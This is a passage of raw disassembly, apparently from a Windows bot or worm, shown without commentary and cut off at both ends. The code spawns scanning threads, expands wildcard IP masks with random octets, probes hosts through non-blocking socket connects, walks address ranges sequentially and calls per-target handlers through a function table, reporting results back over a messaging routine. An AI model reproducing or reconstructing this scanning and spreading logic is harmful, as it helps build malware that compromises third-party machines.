[ebp+arg_10] push eax push offset dword_4CDA50 call sub_41B5F0 add esp, 0Ch mov dword_4CDAD4, 1 jmp short loc_40BB9A ; --------------------------------------------------------------------------- loc_40BB80: ; CODE XREF: sub_40BACD+94j lea eax, [ebp+arg_90] push eax push offset dword_4CDA50 call sub_41B5F0 add esp, 0Ch mov dword_4CDAD4, ebx loc_40BB9A: ; CODE XREF: sub_40BACD+B1j push esi lea eax, [ebp+var_204] push dword_4CDA4C push offset unk_42C524 push eax call sub_41B886 push ebx lea eax, [ebp+var_204] push 5 push eax call sub_40B0F6 add esp, 1Ch mov dword_4CDA44, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CD838 push offset sub_411796 push ebx push ebx call dword_42707C ; CreateThread mov ecx, dword_4CDA44 imul ecx, 234h cmp eax, ebx mov dword_43E584[ecx], eax jz short loc_40BC08 loc_40BBF6: ; CODE XREF: sub_40BACD+139j cmp dword_4CDAD8, ebx jnz short loc_40BC23 push 32h call dword_427078 ; Sleep jmp short loc_40BBF6 ; --------------------------------------------------------------------------- loc_40BC08: ; CODE XREF: sub_40BACD+127j call dword_42708C ; RtlGetLastWin32Error push eax lea eax, [ebp+var_204] push offset unk_4320E0 push eax call sub_41B886 add esp, 0Ch loc_40BC23: ; CODE XREF: sub_40BACD+12Fj lea eax, [ebp+var_204] push eax call sub_4151AC mov eax, dword_4CB370 mov esi, offset dword_4CDAE4 mov [esp+210h+var_210], 104h push esi push ebx mov dword_4CDCF4, eax mov dword_4CDCF0, ebx call dword_427070 ; GetModuleFileNameA push 103h push edi push offset dword_4CDBE8 call sub_41B5F0 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_4CDAE0, eax mov eax, [ebp+arg_138] pop edi mov dword_4CDD78, eax push 7Fh jnz short loc_40BCA4 lea eax, [ebp+arg_10] push eax push offset dword_4CDCF8 call sub_41B5F0 add esp, 0Ch mov dword_4CDD7C, 1 jmp short loc_40BCBE ; --------------------------------------------------------------------------- loc_40BCA4: ; CODE XREF: sub_40BACD+1B8j lea eax, [ebp+arg_90] push eax push offset dword_4CDCF8 call sub_41B5F0 add esp, 0Ch mov dword_4CDD7C, ebx loc_40BCBE: ; CODE XREF: sub_40BACD+1D5j push esi lea eax, [ebp+var_204] push dword_4CDCF4 push offset unk_4320AC push eax call sub_41B886 push ebx lea eax, [ebp+var_204] push 4 push eax call sub_40B0F6 add esp, 1Ch mov dword_4CDCEC, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CDAE0 push offset sub_40E991 push ebx push ebx call dword_42707C ; CreateThread mov ecx, dword_4CDCEC imul ecx, 234h cmp eax, ebx mov dword_43E584[ecx], eax jz short loc_40BD2C loc_40BD1A: ; CODE XREF: sub_40BACD+25Dj cmp dword_4CDD80, ebx jnz short loc_40BD47 push 32h call dword_427078 ; Sleep jmp short loc_40BD1A ; --------------------------------------------------------------------------- loc_40BD2C: ; CODE XREF: sub_40BACD+24Bj call dword_42708C ; RtlGetLastWin32Error push eax lea eax, [ebp+var_204] push offset unk_432078 push eax call sub_41B886 add esp, 0Ch loc_40BD47: ; CODE XREF: sub_40BACD+253j lea eax, [ebp+var_204] push eax call sub_4151AC pop ecx loc_40BD54: ; CODE XREF: sub_40BACD+35j mov eax, [ebp+arg_130] mov ecx, eax shl ecx, 6 cmp dword_431AE4[ecx], ebx jz loc_40BE7D push 7 call sub_40B33E test eax, eax pop ecx jnz loc_40BE77 mov eax, dword_4CE37C cmp [ebp+arg_90], bl mov dword_4CD7A4, eax mov eax, [ebp+arg_110] mov dword_4CD798, eax mov eax, [ebp+arg_138] mov dword_4CD7A0, ebx mov dword_4CD828, eax push 7Fh jnz short loc_40BDC8 lea eax, [ebp+arg_10] push eax push offset dword_4CD7A8 call sub_41B5F0 add esp, 0Ch mov dword_4CD82C, 1 jmp short loc_40BDE2 ; --------------------------------------------------------------------------- loc_40BDC8: ; CODE XREF: sub_40BACD+2DCj lea eax, [ebp+arg_90] push eax push offset dword_4CD7A8 call sub_41B5F0 add esp, 0Ch mov dword_4CD82C, ebx loc_40BDE2: ; CODE XREF: sub_40BACD+2F9j push dword_4CD7A4 lea eax, [ebp+var_204] push offset unk_432048 push eax call sub_41B886 push ebx lea eax, [ebp+var_204] push 7 push eax call sub_40B0F6 add esp, 18h mov dword_4CD79C, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CD798 push offset sub_40E6EF push ebx push ebx call dword_42707C ; CreateThread mov ecx, dword_4CD79C imul ecx, 234h cmp eax, ebx mov dword_43E584[ecx], eax jz short loc_40BE4F loc_40BE3D: ; CODE XREF: sub_40BACD+380j cmp dword_4CD830, ebx jnz short loc_40BE6A push 32h call dword_427078 ; Sleep jmp short loc_40BE3D ; --------------------------------------------------------------------------- loc_40BE4F: ; CODE XREF: sub_40BACD+36Ej call dword_42708C ; RtlGetLastWin32Error push eax lea eax, [ebp+var_204] push offset unk_432010 push eax call sub_41B886 add esp, 0Ch loc_40BE6A: ; CODE XREF: sub_40BACD+376j lea eax, [ebp+var_204] push eax call sub_4151AC pop ecx loc_40BE77: ; CODE XREF: sub_40BACD+2A8j mov eax, [ebp+arg_130] loc_40BE7D: ; CODE XREF: sub_40BACD+298j shl eax, 6 cmp dword_431AE0[eax], ebx jz loc_40BF9F push 3 call sub_40B33E test eax, eax pop ecx jnz loc_40BF9F mov esi, offset dword_4CE014 push 104h push esi push ebx call dword_427070 ; GetModuleFileNameA push 5Ch push esi call sub_41BE40 pop ecx cmp eax, ebx pop ecx jz short loc_40BEBE mov [eax], bl loc_40BEBE: ; CODE XREF: sub_40BACD+3EDj mov eax, dword_42907C mov dword_4CE12C, ebx mov dword_4CE118, eax lea eax, [ebp+arg_10] push eax push offset dword_4CDD8C call sub_41B886 mov eax, [ebp+arg_110] pop ecx pop ecx mov dword_4CDD88, eax mov ecx, [ebp+arg_138] push esi push dword_4CE118 mov dword_4CE124, ecx mov ecx, [ebp+arg_13C] push eax mov dword_4CE128, ecx call sub_40AC0F pop ecx push eax lea eax, [ebp+var_204] push offset unk_42C4AC push eax call sub_41B886 push ebx lea eax, [ebp+var_204] push 3 push eax call sub_40B0F6 add esp, 20h mov dword_4CE120, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CDD88 push offset sub_40F0D5 push ebx push ebx call dword_42707C ; CreateThread mov ecx, dword_4CE120 imul ecx, 234h cmp eax, ebx mov dword_43E584[ecx], eax jz short loc_40BF77 loc_40BF65: ; CODE XREF: sub_40BACD+4A8j cmp dword_4CE134, ebx jnz short loc_40BF92 push 32h call dword_427078 ; Sleep jmp short loc_40BF65 ; --------------------------------------------------------------------------- loc_40BF77: ; CODE XREF: sub_40BACD+496j call dword_42708C ; RtlGetLastWin32Error push eax lea eax, [ebp+var_204] push offset unk_431FDC push eax call sub_41B886 add esp, 0Ch loc_40BF92: ; CODE XREF: sub_40BACD+49Ej lea eax, [ebp+var_204] push eax call sub_4151AC pop ecx loc_40BF9F: ; CODE XREF: sub_40BACD+14j ; sub_40BACD+25j ... pop esi pop ebx leave retn sub_40BACD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BFA3 proc near ; CODE XREF: sub_40C124:loc_40C195p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push esi push 4 lea esi, ds:4CB780h[eax*8] lea eax, [ebp+arg_0] push esi push eax call sub_41C310 add esp, 0Ch push [ebp+arg_0] call dword_4CB55C ; htonl inc eax push eax mov [ebp+arg_0], eax call dword_4CB630 ; htonl mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax push esi call sub_41C310 mov eax, [esi] add esp, 0Ch pop esi pop ebp retn sub_40BFA3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BFEB proc near ; CODE XREF: sub_40C124+69p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi or esi, 0FFFFFFFFh push [ebp+arg_0] mov [ebp+var_C], esi mov [ebp+var_8], esi mov [ebp+var_4], esi mov [ebp+var_10], esi call sub_41AFE0 cmp eax, 0Fh pop ecx jbe short loc_40C013 xor eax, eax jmp short loc_40C084 ; --------------------------------------------------------------------------- loc_40C013: ; CODE XREF: sub_40BFEB+22j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push [ebp+arg_0] call sub_41C645 add esp, 18h cmp [ebp+var_C], esi jnz short loc_40C040 call sub_41B8E2 mov [ebp+var_C], eax loc_40C040: ; CODE XREF: sub_40BFEB+4Bj cmp [ebp+var_8], esi jnz short loc_40C04D call sub_41B8E2 mov [ebp+var_8], eax loc_40C04D: ; CODE XREF: sub_40BFEB+58j cmp [ebp+var_4], esi jnz short loc_40C05A call sub_41B8E2 mov [ebp+var_4], eax loc_40C05A: ; CODE XREF: sub_40BFEB+65j mov eax, [ebp+var_10] cmp eax, esi jnz short loc_40C066 call sub_41B8E2 loc_40C066: ; CODE XREF: sub_40BFEB+74j shl eax, 8 add eax, [ebp+var_4] mov ecx, [ebp+var_C] shl eax, 8 add eax, [ebp+var_8] shl eax, 8 add eax, ecx mov ecx, [ebp+arg_4] mov dword_4CB780[ecx*8], eax loc_40C084: ; CODE XREF: sub_40BFEB+26j pop esi leave retn sub_40BFEB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C087 proc near ; CODE XREF: sub_40B8A1+59p ; sub_40C124+BBp var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 120h push ebx push esi push edi push 1 pop edi xor ebx, ebx push ebx push edi push 2 mov [ebp+var_4], edi call dword_4CB6B4 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_40C0B0 xor eax, eax jmp short loc_40C11F ; --------------------------------------------------------------------------- loc_40C0B0: ; CODE XREF: sub_40C087+23j mov eax, [ebp+arg_0] push [ebp+arg_4] mov [ebp+var_1C], 2 mov [ebp+var_18], eax call dword_4CB634 ; htons mov [ebp+var_1A], ax lea eax, [ebp+var_4] push eax push 8004667Eh push esi call dword_4CB6D0 ; ioctlsocket lea eax, [ebp+var_1C] push 10h push eax push esi call dword_4CB5DC ; connect mov eax, [ebp+arg_8] mov [ebp+var_8], ebx mov [ebp+var_C], eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_120] push ebx push eax push ebx push ebx mov [ebp+var_11C], esi mov [ebp+var_120], edi call dword_4CB61C ; select push esi mov edi, eax call dword_4CB6CC ; closesocket xor eax, eax cmp edi, ebx setnle al loc_40C11F: ; CODE XREF: sub_40C087+27j pop edi pop esi pop ebx leave retn sub_40C087 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C124 proc near ; DATA XREF: sub_40C33C+13Bo var_2A8 = dword ptr -2A8h var_28C = byte ptr -28Ch var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_1F8 = byte ptr -1F8h var_178 = byte ptr -178h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = dword ptr -164h var_15C = dword ptr -15Ch var_158 = dword ptr -158h var_150 = byte ptr -150h var_140 = byte ptr -140h var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_150] rep movsd mov esi, [ebp+var_2C] mov dword ptr [eax+148h], 1 mov eax, [ebp+var_28] mov [ebp+var_4], esi mov [ebp+arg_0], eax call dword_4270A8 ; GetTickCount push eax call sub_41B8D8 mov ebx, esi pop ecx imul ebx, 234h loc_40C16B: ; CODE XREF: sub_40C124+204j mov eax, dword_43E574[ebx] cmp dword_4CB784[eax*8], 0 jz loc_40C32D cmp [ebp+var_10], 0 push eax jz short loc_40C195 lea eax, [ebp+var_150] push eax call sub_40BFEB pop ecx jmp short loc_40C19A ; --------------------------------------------------------------------------- loc_40C195: ; CODE XREF: sub_40C124+60j call sub_40BFA3 loc_40C19A: ; CODE XREF: sub_40C124+6Fj pop ecx mov edi, eax push [ebp+arg_0] push dword_43E574[ebx] push [ebp+var_3C] push edi call dword_4CB6C0 ; inet_ntoa push eax lea eax, [ebp+var_28C] push offset unk_43213C push eax call sub_41B886 add esp, 18h lea eax, [ebp+var_28C] push eax lea eax, dword_43E370[ebx] push eax call sub_41B886 push [ebp+var_38] push [ebp+var_3C] push edi call sub_40C087 add esp, 14h cmp eax, 1 jnz loc_40C31D cmp [ebp+var_20], 0FFFFFFFFh jnz short loc_40C271 push offset dword_4CD780 call dword_4270D4 ; RtlEnterCriticalSection push [ebp+var_3C] push edi call dword_4CB6C0 ; inet_ntoa push eax lea eax, [ebp+var_28C] push offset unk_432114 push eax call sub_41B886 add esp, 10h cmp [ebp+var_14], 0 jnz short loc_40C253 cmp [ebp+var_C0], 0 push 1 push [ebp+var_18] lea eax, [ebp+var_28C] push eax lea eax, [ebp+var_C0] jnz short loc_40C247 lea eax, [ebp+var_140] loc_40C247: ; CODE XREF: sub_40C124+11Bj push eax push [ebp+var_40] call sub_409A72 add esp, 14h loc_40C253: ; CODE XREF: sub_40C124+100j lea eax, [ebp+var_28C] push eax call sub_4151AC mov [esp+2A8h+var_2A8], offset dword_4CD780 call dword_4270D0 ; RtlLeaveCriticalSection jmp loc_40C31D ; --------------------------------------------------------------------------- loc_40C271: ; CODE XREF: sub_40C124+D0j push edi call dword_4CB6C0 ; inet_ntoa push eax lea eax, [ebp+var_208] push eax call sub_41B886 mov eax, [ebp+var_20] pop ecx shl eax, 6 pop ecx add eax, offset aSym ; "sym" push eax lea eax, [ebp+var_178] push eax call sub_41B886 cmp [ebp+var_C0], 0 pop ecx pop ecx lea eax, [ebp+var_C0] jnz short loc_40C2B6 lea eax, [ebp+var_140] loc_40C2B6: ; CODE XREF: sub_40C124+18Aj push eax lea eax, [ebp+var_1F8] push eax call sub_41B886 mov eax, [ebp+var_40] pop ecx mov [ebp+var_20C], eax mov eax, [ebp+var_18] pop ecx mov [ebp+var_15C], eax mov eax, [ebp+var_14] sub esp, 0BCh mov [ebp+var_158], eax mov eax, [ebp+var_3C] push 2Fh mov [ebp+var_16C], eax mov eax, [ebp+var_20] pop ecx mov [ebp+var_168], esi mov [ebp+var_164], eax lea esi, [ebp+var_20C] mov edi, esp shl eax, 6 rep movsd call off_431AD4[eax] mov esi, [ebp+var_4] add esp, 0BCh loc_40C31D: ; CODE XREF: sub_40C124+C6j ; sub_40C124+148j push 7D0h call dword_427078 ; Sleep jmp loc_40C16B ; --------------------------------------------------------------------------- loc_40C32D: ; CODE XREF: sub_40C124+55j push esi call sub_40B412 pop ecx push 0 call dword_4270CC ; ExitThread sub_40C124 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C33C proc near ; DATA XREF: sub_401ACD+1F81o ; sub_401ACD+5C48o var_1DC = dword ptr -1DCh var_1CC = byte ptr -1CCh var_14C = byte ptr -14Ch var_13C = byte ptr -13Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1CCh mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_14C] push 1 pop ebx rep movsd mov [eax+144h], ebx lea eax, [ebp+var_14C] push eax call dword_4CB674 ; inet_addr mov ecx, [ebp+var_2C] sub esp, 14Ch lea esi, [ebp+var_14C] push 53h mov dword_4CB780[ecx*8], eax pop ecx mov edi, esp rep movsd call sub_40BACD push 0Bh call sub_40B33E add esp, 150h cmp eax, ebx jnz short loc_40C40A mov esi, offset dword_4CD780 push esi call dword_4270DC ; RtlDeleteCriticalSection push 80000400h push esi call dword_4270D8 ; InitializeCriticalSectionAndSpinCount test eax, eax jnz short loc_40C40A lea eax, [ebp+var_1CC] push offset unk_432220 push eax call sub_41B886 xor ebx, ebx pop ecx cmp [ebp+var_10], ebx pop ecx jnz short loc_40C3F4 push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_409A72 add esp, 14h loc_40C3F4: ; CODE XREF: sub_40C33C+99j lea eax, [ebp+var_1CC] push eax call sub_4151AC pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_40C40A: ; CODE XREF: sub_40C33C+63j ; sub_40C33C+7Fj mov eax, [ebp+var_2C] mov esi, dword_427078 mov edi, ebx mov dword_4CB784[eax*8], ebx xor ebx, ebx cmp [ebp+var_20], 1 jb loc_40C4D7 loc_40C428: ; CODE XREF: sub_40C33C+195j push edi lea eax, [ebp+var_14C] push [ebp+var_2C] mov [ebp+var_24], edi push [ebp+var_38] push eax lea eax, [ebp+var_1CC] push offset unk_4321EC push eax call sub_41B886 push ebx lea eax, [ebp+var_1CC] push 0Bh push eax call sub_40B0F6 mov [ebp+var_28], eax imul eax, 234h mov ecx, [ebp+var_2C] add esp, 24h mov dword_43E574[eax], ecx lea eax, [ebp+var_14C] push ebx push ebx push eax push offset sub_40C124 push ebx push ebx call dword_42707C ; CreateThread mov ecx, [ebp+var_28] imul ecx, 234h cmp eax, ebx mov dword_43E584[ecx], eax jz short loc_40C4A2 loc_40C497: ; CODE XREF: sub_40C33C+164j cmp [ebp+var_4], ebx jnz short loc_40C4C9 push 1Eh call esi ; Sleep jmp short loc_40C497 ; --------------------------------------------------------------------------- loc_40C4A2: ; CODE XREF: sub_40C33C+159j call dword_42708C ; RtlGetLastWin32Error push eax lea eax, [ebp+var_1CC] push offset unk_4321B4 push eax call sub_41B886 lea eax, [ebp+var_1CC] push eax call sub_4151AC add esp, 10h loc_40C4C9: ; CODE XREF: sub_40C33C+15Ej push 1Eh call esi ; Sleep inc edi cmp edi, [ebp+var_20] jbe loc_40C428 loc_40C4D7: ; CODE XREF: sub_40C33C+E6j cmp [ebp+var_30], ebx jz loc_40C581 mov eax, [ebp+var_30] imul eax, 0EA60h push eax call esi ; Sleep loc_40C4EC: ; CODE XREF: sub_40C33C+250j push [ebp+var_30] mov eax, [ebp+var_2C] push [ebp+var_38] mov eax, dword_4CB780[eax*8] push eax call dword_4CB6C0 ; inet_ntoa push eax lea eax, [ebp+var_1CC] push offset unk_432174 push eax call sub_41B886 add esp, 14h cmp [ebp+var_10], ebx jnz short loc_40C53A push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_409A72 add esp, 14h loc_40C53A: ; CODE XREF: sub_40C33C+1DFj lea eax, [ebp+var_1CC] push eax call sub_4151AC mov eax, [ebp+var_2C] mov [esp+1DCh+var_1DC], 0BB8h mov dword_4CB784[eax*8], ebx call esi ; Sleep push 0Bh call sub_40B33E cmp eax, 1 pop ecx jnz short loc_40C571 push offset dword_4CD780 call dword_4270DC ; RtlDeleteCriticalSection loc_40C571: ; CODE XREF: sub_40C33C+228j push [ebp+var_2C] call sub_40B412 pop ecx push ebx call dword_4270CC ; ExitThread loc_40C581: ; CODE XREF: sub_40C33C+19Ej ; sub_40C33C+25Dj mov eax, [ebp+var_2C] cmp dword_4CB784[eax*8], 1 jnz loc_40C4EC push 7D0h call esi ; Sleep jmp short loc_40C581 sub_40C33C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C59B proc near ; DATA XREF: sub_40C668+7Bo ; sub_40C759+7Bo var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0BCh mov eax, [ebp+arg_0] push esi push edi push 2Bh pop ecx mov esi, eax lea edi, [ebp+var_BC] push 1 rep movsd pop esi mov [eax+0A8h], esi push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_38] call dword_4CB634 ; htons mov [ebp+var_E], ax mov eax, [ebp+var_28] push 6 push esi push 2 mov [ebp+var_C], eax call dword_4CB6B4 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40C659 lea eax, [ebp+var_10] push 10h push eax push esi call dword_4CB5DC ; connect mov ecx, [ebp+var_2C] imul ecx, 234h cmp eax, 0FFFFFFFFh mov dword_43E57C[ecx], esi jz short loc_40C659 push [ebp+var_38] push [ebp+var_28] call dword_4CB6C0 ; inet_ntoa push eax mov edi, offset dword_4CE144 push offset unk_432254 push edi call sub_41B886 push 0 lea eax, [ebp+var_B8] push [ebp+var_20] push edi push eax push [ebp+var_BC] call sub_409A72 push edi call sub_4151AC add esp, 28h loc_40C659: ; CODE XREF: sub_40C59B+5Dj ; sub_40C59B+7Ej push esi call dword_4CB6CC ; closesocket pop edi xor eax, eax pop esi leave retn 4 sub_40C59B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_40C668 proc near ; DATA XREF: sub_401ACD+603Eo var_134 = byte ptr -134h var_B4 = byte ptr -0B4h var_30 = dword ptr -30h var_24 = dword ptr -24h var_20 = dword ptr -20h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 134h push ebx mov ebx, [ebp+arg_0] push esi push edi push 2Bh mov esi, ebx pop ecx lea edi, [ebp+var_B4] rep movsd mov esi, dword_427078 mov dword ptr [ebx+0A4h], 1 xor edi, edi loc_40C696: ; CODE XREF: sub_40C668+ECj push [ebp+var_30] push [ebp+var_20] call dword_4CB6C0 ; inet_ntoa push eax lea eax, [ebp+var_134] push offset unk_43227C push eax call sub_41B886 lea eax, [ebp+var_134] push 1FFh push eax mov eax, [ebp+var_24] imul eax, 234h add eax, offset dword_43E370 push eax call sub_41B5F0 add esp, 1Ch lea eax, [ebp+var_8] push eax lea eax, [ebp+var_B4] push edi push eax push offset sub_40C59B push edi push edi call dword_42707C ; CreateThread cmp eax, edi mov [ebp+var_4], eax jz short loc_40C702 loc_40C6F7: ; CODE XREF: sub_40C668+98j cmp [ebp+var_C], edi jnz short loc_40C702 push 32h call esi ; Sleep jmp short loc_40C6F7 ; --------------------------------------------------------------------------- loc_40C702: ; CODE XREF: sub_40C668+8Dj ; sub_40C668+92j push [ebp+var_4] call dword_427068 ; CloseHandle push dword ptr [ebx+8Ch] mov [ebx+0A8h], edi call esi ; Sleep lea eax, [ebp+var_20] push 4 push eax lea eax, [ebp+arg_0] push eax call sub_41C310 add esp, 0Ch push [ebp+arg_0] call dword_4CB55C ; htonl inc eax push eax mov [ebp+arg_0], eax call dword_4CB630 ; htonl mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax lea eax, [ebp+var_20] push eax call sub_41C310 add esp, 0Ch jmp loc_40C696 sub_40C668 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C759 proc near ; DATA XREF: sub_401ACD+5D4Eo var_130 = byte ptr -130h var_B0 = dword ptr -0B0h var_AC = byte ptr -0ACh var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 130h push ebx mov ebx, [ebp+arg_0] push esi push edi push 2Bh mov esi, ebx pop ecx lea edi, [ebp+var_B0] rep movsd mov esi, dword_427078 mov dword ptr [ebx+0A4h], 1 xor edi, edi loc_40C787: ; CODE XREF: sub_40C759+BCj push [ebp+var_2C] push [ebp+var_1C] call dword_4CB6C0 ; inet_ntoa push eax lea eax, [ebp+var_130] push offset unk_4322D0 push eax call sub_41B886 lea eax, [ebp+var_130] push 1FFh push eax mov eax, [ebp+var_20] imul eax, 234h add eax, offset dword_43E370 push eax call sub_41B5F0 add esp, 1Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+var_B0] push edi push eax push offset sub_40C59B push edi push edi call dword_42707C ; CreateThread cmp eax, edi mov [ebp+arg_0], eax jz short loc_40C7F3 loc_40C7E8: ; CODE XREF: sub_40C759+98j cmp [ebp+var_8], edi jnz short loc_40C7F3 push 32h call esi ; Sleep jmp short loc_40C7E8 ; --------------------------------------------------------------------------- loc_40C7F3: ; CODE XREF: sub_40C759+8Dj ; sub_40C759+92j push [ebp+arg_0] call dword_427068 ; CloseHandle push dword ptr [ebx+8Ch] mov [ebx+0A8h], edi call esi ; Sleep mov eax, [ebp+var_2C] cmp eax, [ebp+var_28] jz short loc_40C81A inc [ebp+var_2C] jmp loc_40C787 ; --------------------------------------------------------------------------- loc_40C81A: ; CODE XREF: sub_40C759+B7j push [ebp+var_1C] call dword_4CB6C0 ; inet_ntoa push eax lea eax, [ebp+var_130] push offset unk_4322A4 push eax call sub_41B886 push edi lea eax, [ebp+var_130] push [ebp+var_14] push eax lea eax, [ebp+var_AC] push eax push [ebp+var_B0] call sub_409A72 push [ebp+var_20] call sub_40B412 add esp, 24h xor eax, eax pop edi pop esi pop ebx leave retn 4 sub_40C759 endp ; =============== S U B R O U T I N E ======================================= sub_40C866 proc near ; CODE XREF: sub_40CADA+Ep ; sub_40CADA+33p ... mov eax, ecx and dword ptr [eax+4], 0 and dword ptr [eax], 0 retn sub_40C866 endp ; =============== S U B R O U T I N E ======================================= sub_40C870 proc near ; CODE XREF: sub_40CADA+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi push edi mov esi, ecx push ebx call sub_41B4D5 mov edi, eax pop ecx test edi, edi jz short loc_40C8A2 push ebx push 0 push edi call sub_41B590 push ebx push [esp+1Ch+arg_0] push edi call sub_41C310 add esp, 18h mov [esi+4], ebx mov [esi], edi loc_40C8A2: ; CODE XREF: sub_40C870+14j mov eax, esi pop edi pop esi pop ebx retn 8 sub_40C870 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C8AA proc near ; CODE XREF: sub_40C9A4+18p ; sub_40CA1E+16p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, ecx push esi mov ecx, [ebp+arg_C] push edi lea edi, [eax+ecx] push edi call sub_41B4D5 mov esi, eax pop ecx test esi, esi jz short loc_40C8F6 push edi push 0 push esi call sub_41B590 push [ebp+arg_4] push [ebp+arg_0] push esi call sub_41C310 push [ebp+arg_C] mov eax, [ebp+arg_4] add eax, esi push [ebp+arg_8] push eax call sub_41C310 add esp, 24h mov [ebx+4], edi mov [ebx], esi loc_40C8F6: ; CODE XREF: sub_40C8AA+1Cj pop edi mov eax, ebx pop esi pop ebx pop ebp retn 10h sub_40C8AA endp ; =============== S U B R O U T I N E ======================================= sub_40C8FF proc near ; CODE XREF: sub_40C9A4+5Ep ; sub_40C9A4+6Fp ... push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_40C90F push eax call sub_41B0B1 pop ecx loc_40C90F: ; CODE XREF: sub_40C8FF+7j and dword ptr [esi+4], 0 and dword ptr [esi], 0 pop esi retn sub_40C8FF endp ; =============== S U B R O U T I N E ======================================= sub_40C918 proc near ; CODE XREF: sub_40C9A4+20p ; sub_40CA7F+8p ... push ebx push esi mov esi, ecx push edi mov eax, [esi+4] cmp eax, 0FFFFh jge short loc_40C945 xor ebx, ebx cmp eax, 7Fh setnl bl dec ebx and ebx, 0FFFFFFFEh add ebx, 3 add eax, ebx push eax call sub_41B4D5 mov edi, eax pop ecx test edi, edi jnz short loc_40C949 loc_40C945: ; CODE XREF: sub_40C918+Dj xor al, al jmp short loc_40C9A0 ; --------------------------------------------------------------------------- loc_40C949: ; CODE XREF: sub_40C918+2Bj mov eax, ebx add eax, [esi+4] push eax push 0 push edi call sub_41B590 add esp, 0Ch cmp ebx, 1 jnz short loc_40C96E mov al, [esi+4] mov [edi], al push dword ptr [esi+4] lea eax, [edi+1] push dword ptr [esi] jmp short loc_40C988 ; --------------------------------------------------------------------------- loc_40C96E: ; CODE XREF: sub_40C918+45j mov byte ptr [edi], 82h mov eax, [esi+4] sar eax, 8 mov [edi+1], al mov al, [esi+4] mov [edi+2], al push dword ptr [esi+4] lea eax, [edi+3] push dword ptr [esi] loc_40C988: ; CODE XREF: sub_40C918+54j push eax call sub_41C310 add esp, 0Ch push dword ptr [esi] call sub_41B0B1 add [esi+4], ebx pop ecx mov [esi], edi mov al, 1 loc_40C9A0: ; CODE XREF: sub_40C918+2Fj pop edi pop esi pop ebx retn sub_40C918 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame 